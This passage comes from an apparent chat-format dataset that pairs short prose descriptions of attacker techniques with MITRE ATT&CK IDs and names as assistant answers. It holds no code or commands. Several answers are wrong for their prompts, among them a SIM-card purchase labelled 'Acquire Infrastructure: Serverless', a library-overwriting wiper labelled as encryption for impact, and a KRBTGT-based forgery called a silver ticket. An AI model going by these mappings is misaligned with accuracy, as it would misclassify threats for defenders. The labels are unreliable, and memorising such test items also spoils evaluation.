                "content": "Adversaries use a crafted hyperlink in a document that points to a malicious PowerShell script hosted on an external server."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker gains access to a telecom carrier’s SS7 network to intercept SMS messages."
            },
            {
                "role": "assistant",
                "content": "T1584 - Compromise Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages the RDP clipboard redirection feature to inject a malicious DLL into the Remote Desktop Session Host."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit chain leverages a privileged driver’s integer overflow to achieve arbitrary code execution with elevated rights."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the malware calls the Windows API to completely wipe the disk's MBR and GPT, making the drive unrecoverable."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through the use of Windows Management Instrumentation (WMI), the threat actor creates and starts a service that runs a malicious payload without user interaction."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors modify the domain controller's authentication settings to allow unrestricted logins from compromised machines."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker drops a malicious Word .dotm template into the user's Office startup directory, causing the macro to execute each time Word launches."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor creates a scheduled Windows task that invokes a WMI command to upload collected information to a remote FTP server at 02:00 AM daily."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a destructive payload that overwrites key system libraries, causing widespread crashes."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker hides malicious PowerShell scripts inside the least significant bits of PNG images and later extracts them on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious process uses the OS’s native file‑copy command but includes a flag to cap each copy operation at 64 KB."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries created a serverless workflow in AWS Step Functions that chains compromised Lambda functions to pivot laterally across multiple accounts."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising the host, the malware resets timestamps on its executable to match system files."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using SIP hijacking, the attacker manipulates trusted installer services to silently deploy ransomware."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker extracts a victim's web session cookie from the browser and reuses it to gain unauthorized access to the web application."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software adds a registry key under Active Setup that runs a hidden process to establish persistence on every logon."
            },
            {
                "role": "assistant",
                "content": "T1547.014 - Boot or Logon Autostart Execution: Active Setup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker issues a 'nslookup' command to a public DNS server to obtain the IP address of its payload server."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware retrieves saved Outlook email passwords from the Windows Credential Vault."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary executes \"docker ps -a\" to enumerate all containers, both running and stopped, on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers compromise a shared PowerPoint template on a network share, which is loaded during Office startup and runs embedded malicious code."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor injects malicious scripts into a legitimate build process, causing the developer utility to execute them."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor disables the host’s intrusion detection system by removing its signature updates and blocking the update server."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Researchers observed the use of rundll32.exe to launch a credential dumping module packaged as a DLL."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the InprocServer32 value of a target COM object to point to a payload DLL, enabling execution whenever the application calls that COM interface."
            },
            {
                "role": "assistant",
                "content": "T1546.015 - Event Triggered Execution: Component Object Model Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a scripted SNMP walk, the intruder harvested the entire MIB database to map the target's network configuration."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a remote PowerShell session, the attacker added the \"Authenticated Users\" group to the ACL of the System32 directory with write permissions."
            },
            {
                "role": "assistant",
                "content": "T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware extracts saved Wi‑Fi passwords from the macOS Keychain and uploads them to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary queried public vulnerability databases such as NVD and CVE Details to locate exploitable software flaws."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages ARP spoofing to redirect traffic through their system and capture the packets."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor abuses Verclsid.exe to proxy execution of a downloaded backdoor, avoiding direct invocation of suspicious binaries."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group uses a ransomware strain to lock user documents and display a payment demand."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exploiting a SQL injection vulnerability, the intruder altered the website’s home page to display a black background with flashing text."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation script changes the authentication configuration to use reversible encryption, allowing the attacker to retrieve cleartext passwords."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A PowerShell script runs 'Resolve-DnsName' on a domain to get the current IP address before establishing a TCP connection."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During post‑exploitation, the attacker exploited a default permissive ACL on a service's binary, overwriting it with a trojan that executes with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits the 'LocationServices' API on macOS to retrieve the device's current coordinates."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script drops a copy of \"powershell.exe\" into a user directory and renames it to \"document.pdf\" to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor changed the permissions on the Windows Service Control Manager (SCM) configuration files, allowing them to inject a malicious service binary that runs at boot."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy implant modifies the PowerShell profile to include a function that runs a hidden script each time the PowerShell ISE is opened, achieving event-triggered execution."
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware changes the ImageFileExecutionOptions registry key to hijack legitimate binaries and execute malicious code."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses a hidden iframe to execute JavaScript that reads navigator.platform and navigator.language for system information."
            },
            {
                "role": "assistant",
                "content": "T1217 - Browser Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group compiles victim identity information by combining publicly released corporate filings, shareholder registers, and executive biographies."
            },
            {
                "role": "assistant",
                "content": "T1589 - Gather Victim Identity Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor leverages a compromised web service to exfiltrate internal network data via HTTP requests."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through phishing on a fake LinkedIn job posting, the attacker collected user credentials and immediately logged into the real accounts to harvest contacts."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leverage Google Cloud Platform's Cloud Asset Inventory API to retrieve a comprehensive inventory of projects, services, and permissions."
            },
            {
                "role": "assistant",
                "content": "T1580 - Cloud Infrastructure Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exfiltrating credentials, the threat actor saves them in the registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa for quick access."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a scheduled task named 'Defender Antivirus Service' to periodically download additional modules."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion vector involves delivering a CHM file that uses the System Binary Proxy Execution method to load and run a remote script without alerting defenses."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use the Windows API LsaOpenPolicy and LsaRetrievePrivateData to pull cached credentials from LSA."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The breach involved creating custom Kerberos tickets with altered privileges, using the stolen KRBTGT hash to bypass standard ticket-granting processes (silver ticket attack)."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use port 443 for outbound traffic but tunnel data through a non-standard port 8443."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a publicly accessible DNS zone transfer, the attacker extracts entire DNS zone files to compile a comprehensive list of hostnames and their IPs."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses a compromised admin account to reset user email passwords and take control of the accounts."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker stages data on an external hard drive connected to the compromised workstation for later collection."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware installs custom BPF socket filters to drop legitimate traffic and inject malicious commands into the data stream."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies DNS records on compromised DNS infrastructure to facilitate command and control."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A social engineer initiates a phone conversation, claiming to be a bank representative, and asks the user to verify account details."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses a legitimate cloud storage API as a web service to send stolen files back to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The breach involved installing a hardware keylogger between the keyboard and USB port to siphon keystrokes."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a remote execution tool, the attacker edited the domain's Group Policy to set a higher maximum password age, causing frequent password changes that they could intercept."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A tool updates the registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\SCE\\EnableSecureBoot to bypass Secure Boot checks."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker purchases a batch of SIM cards to perform SIM swapping attacks against high‑value targets."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Acquire Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploited a race condition in sudo's handling of command-line arguments to execute arbitrary code as root."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages the HISTFILE environment variable to locate the command history and pulls out AWS secret keys entered on the CLI."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a DLL into the System32 folder and configures a new service to load the DLL at system startup."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware adds a malicious TLS certificate to the Windows certificate store, allowing it to intercept and decrypt HTTPS traffic."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team tools scrape public certificate transparency logs to identify all domains owned by the victim."
            },
            {
                "role": "assistant",
                "content": "T1590.001 - Gather Victim Network Information: Domain Properties"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executed a script that enumerated and removed all persistence artifacts, including hidden registry values and startup shortcuts."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor enumerates the system's timezone, language settings, and installed fonts by reading environment variables and registry entries."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker hides an encrypted shellcode fragment inside a video file's frame data, which is later reconstructed in memory."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor abuses the cmstp command to load a custom DLL from a remote location, achieving code execution without needing elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries scrape JSON configuration files used by applications to find secret tokens."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising an internal web server, the attacker replaced the corporate homepage HTML with a message praising a rival organization."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing a misconfigured web server that allowed directory traversal, the attacker deposited a Perl web shell, granting them interactive command capabilities."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary obtains saved credentials from the Thunderbird password database for email compromise."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
